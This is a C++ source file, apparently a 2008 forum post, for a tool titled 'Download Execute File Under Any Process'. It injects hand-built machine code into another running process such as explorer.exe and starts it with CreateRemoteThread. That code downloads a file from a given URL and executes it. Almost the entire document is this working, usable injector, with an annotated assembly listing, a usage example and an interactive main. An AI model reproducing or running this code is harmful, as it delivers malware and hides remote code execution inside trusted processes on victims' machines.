Download Execute File Under Any Process

 Downloader
  Makes a process download a specific file

  Notes
      -> Allocates two memory regions in the external process
        a) Space for four strings (and the null termination bytes)
            -> "URLMON.DLL"
            -> "open"
            -> The URL to download from
            -> The path to save to

        b) The calls to neccecary functions to download and execute the file

      -> Builds and writes the specific instructions to download and execute the file
      -> Creates a thread starting at the address of the allocated memory
      -> Free's memory once download is done and executed

  Usage example
      CExternalDownload* Download = new CExternalDownload( );
      Download->InitDownload( );
      Download->DownloadFileFromProcess( Download->GetProcessPID( "explorer.exe" ),
                                "http://www.site.com/file.txt",
                                "c://file.txt" );
      delete Download;

  Resulting ASM in external process once written
      PUSH 0DD0000                            ; ASCII "URLMON.DLL"
      CALL kernel32.LoadLibraryA
      PUSH 0
      PUSH 0
      PUSH 0DD002D                            ; ASCII "c:/file.exe"
      PUSH 0DD0010                            ; ASCII "http://www.site.com/file.exe"
      PUSH 0
      CALL URLMON.URLDownloadToFileA
      PUSH 5
      PUSH 0
      PUSH 0
      PUSH 0DD002D                            ; ASCII "c:/file.exe"
      PUSH 0DD000B                            ; ASCII "open"
      PUSH 0
      CALL SHELL32.ShellExecuteA
      RETN

  Coded by a59
  06/06/08
*/
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>

struct SNeededCalls
{
  unsigned long LoadLibraryC;
  unsigned long DownloadFileC;
  unsigned long ShellExecuteC;
}NeededCalls;

class CExternalDownload
{
public:
  // (Con/de)structors
  CExternalDownload( );
  ~CExternalDownload( );
  // Initialization
  bool InitDownload( );
  // Add data to calls buffer
  void AddByte( unsigned char Byte );
  void AddWord( unsigned short Word );
  void AddDword( unsigned long Dword );
  // Add ASM instructions to calls buffer
  void Push( unsigned long Data );
  void Call( unsigned long Function );
  void WriteRetn( );
  // Writes Functions in allocated space
  void WriteLoadLibrary( char* szFile );
  void WriteURLDownloadToFile( char* szUrl, char* szPath );
  void WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown );
  // Calculate and build each buffer
  void BuildCallBuffer( int UrlLength );
  void BuildStringBuffer( char* szUrl, char* szPath );
  // Download
  bool DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath );
  // Get PID
  unsigned long GetProcessPID( char* szFile );
protected:
  unsigned char Calls[ 128 ];
  char StringsAligned[ 512 ];
  unsigned long MyStrings, MyCalls;
  int CallSize, StringSize;
  bool Initialized;
  SNeededCalls NeededCalls;
};

CExternalDownload::CExternalDownload( )
{
  CallSize = 0;
  Initialized = false;

  ZeroMemory( Calls, 128 ); 
  ZeroMemory( StringsAligned, 512 );
};

CExternalDownload::~CExternalDownload( )
{
};

bool CExternalDownload::InitDownload( )
{
  HMODULE Kernel32, Urlmon, Shell32;

  Kernel32 = GetModuleHandle( "KERNEL32.DLL" );
  Urlmon = LoadLibrary( "URLMON.DLL" );
  Shell32 = LoadLibrary( "SHELL32.DLL" );

  NeededCalls.LoadLibraryC = (unsigned long)GetProcAddress( Kernel32, "LoadLibraryA" );
  NeededCalls.DownloadFileC = (unsigned long)GetProcAddress( Urlmon, "URLDownloadToFileA" );
  NeededCalls.ShellExecuteC = (unsigned long)GetProcAddress( Shell32, "ShellExecuteA" );

  if( !NeededCalls.LoadLibraryC || !NeededCalls.DownloadFileC || !NeededCalls.ShellExecuteC )
      return false;

  Initialized = true;

  return true;
};

void CExternalDownload::AddByte( unsigned char Byte )
{
  *(unsigned char *)(Calls + CallSize) = Byte;
  CallSize += 1;
};

void CExternalDownload::AddWord( unsigned short Word )
{
  *(unsigned short *)(Calls + CallSize) = Word;
  CallSize += 2;
};

void CExternalDownload::AddDword( unsigned long Dword )
{
  *(unsigned long *)(Calls + CallSize) = Dword;
  CallSize += 4;
};

void CExternalDownload::Push( unsigned long Data )
{
  if( Data <= 0xFF )
  {
      AddByte( 0x6A );
      AddByte( Data );
  } else {
      AddByte( 0x68 );
      AddDword( Data );
  }
};

void CExternalDownload::Call( unsigned long Function )
{
  AddByte( 0xE8 );
  AddDword( Function - ( MyCalls + CallSize - 1 ) - 5 );
};

void CExternalDownload::WriteRetn( )
{
  AddByte( 0xC3 );
};

void CExternalDownload::WriteLoadLibrary( char* szFile )
{
  Push( (unsigned long)szFile );

  Call( NeededCalls.LoadLibraryC );
};

void CExternalDownload::WriteURLDownloadToFile( char* szUrl, char* szPath )
{
  Push( 0 );
  Push( 0 );
  Push( (unsigned long)szPath );
  Push( (unsigned long)szUrl );
  Push( 0 );

  Call( NeededCalls.DownloadFileC );
};

void CExternalDownload::WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown )
{
  Push( IsShown );
  Push( 0 );
  Push( (unsigned long)Parameters );
  Push( (unsigned long)FileName );
  Push( (unsigned long)Operation );
  Push( 0 );

  Call( NeededCalls.ShellExecuteC );
};

void CExternalDownload::BuildCallBuffer( int UrlLength )
{
  char* szUrlmonDLL = (char *)MyStrings;
  char* szOpen = (char *)MyStrings + 11;
  char* szUrl = (char *)MyStrings + 16;
  char* szPath = (char *)MyStrings + UrlLength + 17;

  WriteLoadLibrary( szUrlmonDLL );
  WriteURLDownloadToFile( szUrl, szPath );
  WriteShellExecute( szOpen, szPath, 0, SW_SHOW );
  WriteRetn( );
};

void CExternalDownload::BuildStringBuffer( char* szUrl, char* szPath )
{
  /* Buffer will be ZeroMemory'd before this call */
  unsigned long DllAddress = (unsigned long)StringsAligned;
  unsigned long OpenAddress = (unsigned long)StringsAligned + 11;
  unsigned long UrlAddress = (unsigned long)StringsAligned + 16;
  unsigned long PathAddress = (unsigned long)StringsAligned + 17 + strlen( szUrl );

  strcpy( (char *)DllAddress, "URLMON.DLL" );
  strcpy( (char *)OpenAddress, "open" );
  strcpy( (char *)UrlAddress, szUrl );
  strcpy( (char *)PathAddress, szPath );
};

bool CExternalDownload::DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath )
{
  HANDLE hProcess, ExternalThread;

  if( !Initialized )
      return false;

  if( ( hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid ) ) == 0 )
      return false;
 
  StringSize = 11 + 5 + strlen( szUrl ) + strlen( szPath ) + 2;

  MyStrings = (unsigned long)VirtualAllocEx( hProcess, 0, StringSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  MyCalls = (unsigned long)VirtualAllocEx( hProcess, 0, 75, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

  if( !MyStrings || !MyCalls )
  {
      CloseHandle( hProcess );
      return false;
  }

  BuildStringBuffer( szUrl, szPath );
  BuildCallBuffer( strlen( szUrl ) );

  if( !WriteProcessMemory( hProcess, (void *)MyCalls, Calls, 75, 0 ) )
  {
      CloseHandle( hProcess );
      return false;
  }

  if( !WriteProcessMemory( hProcess, (void *)MyStrings, StringsAligned, StringSize, 0 ) )
  {
      CloseHandle( hProcess );
      return false;
  }

  ExternalThread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)MyCalls, 0, 0, 0 );

  if( !ExternalThread )
  {
      CloseHandle( hProcess );
      return false;
  }

  WaitForSingleObject( ExternalThread, INFINITE );

  VirtualFreeEx( hProcess, (void *)MyCalls, 75, MEM_DECOMMIT );
  VirtualFreeEx( hProcess, (void *)MyStrings, StringSize, MEM_DECOMMIT );

  CloseHandle( hProcess );
  return true;
};

unsigned long CExternalDownload::GetProcessPID( char* szFile )
{
  PROCESSENTRY32 pe32;
  HANDLE hProcess;

  pe32.dwSize = sizeof( PROCESSENTRY32 );

  hProcess = CreateToolhelp32Snapshot( 2, 0 );

  if( !hProcess )
      return 0;

  if( !Process32First( hProcess, &pe32 ) )
      return 0;

  do
  {
      if( stricmp( szFile, pe32.szExeFile ) == 0 )
      {
        return pe32.th32ProcessID;
      }
  }while( Process32Next( hProcess, &pe32 ) );

  return 0;
};

int main( )
{
  CExternalDownload* Download;
  char szUrl[ 512 ], szPath[ MAX_PATH ], szFile[ 128 ];
  unsigned long Pid;

  std::cout << "Enter the URL to download from: ";
  std::cin.getline( szUrl, 512 );

  std::cout << "Enter the path to save to: ";
  std::cin.getline( szPath, MAX_PATH );

  std::cout << "Enter the process to download from: ";
  std::cin.getline( szFile, 128 );

  Download = new CExternalDownload( );

  if( !Download->InitDownload( ) )
  {
      std::cout << "Error locating needed function addresses/n";
      return 0;
  }
 
  Pid = Download->GetProcessPID( szFile );

  if( Pid == 0 )
  {
      std::cout << "Process not running/n";
  } else {
      if( Download->DownloadFileFromProcess( Pid, szUrl, szPath ) )
      {
        std::cout << "Started download from " << szUrl << " to " << szPath << " as " << szFile << "(" << Pid << ")" << std::endl;
      } else {
        std::cout << "Error starting download/n";
      }
  }

  delete Download;

  return 0;
};
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值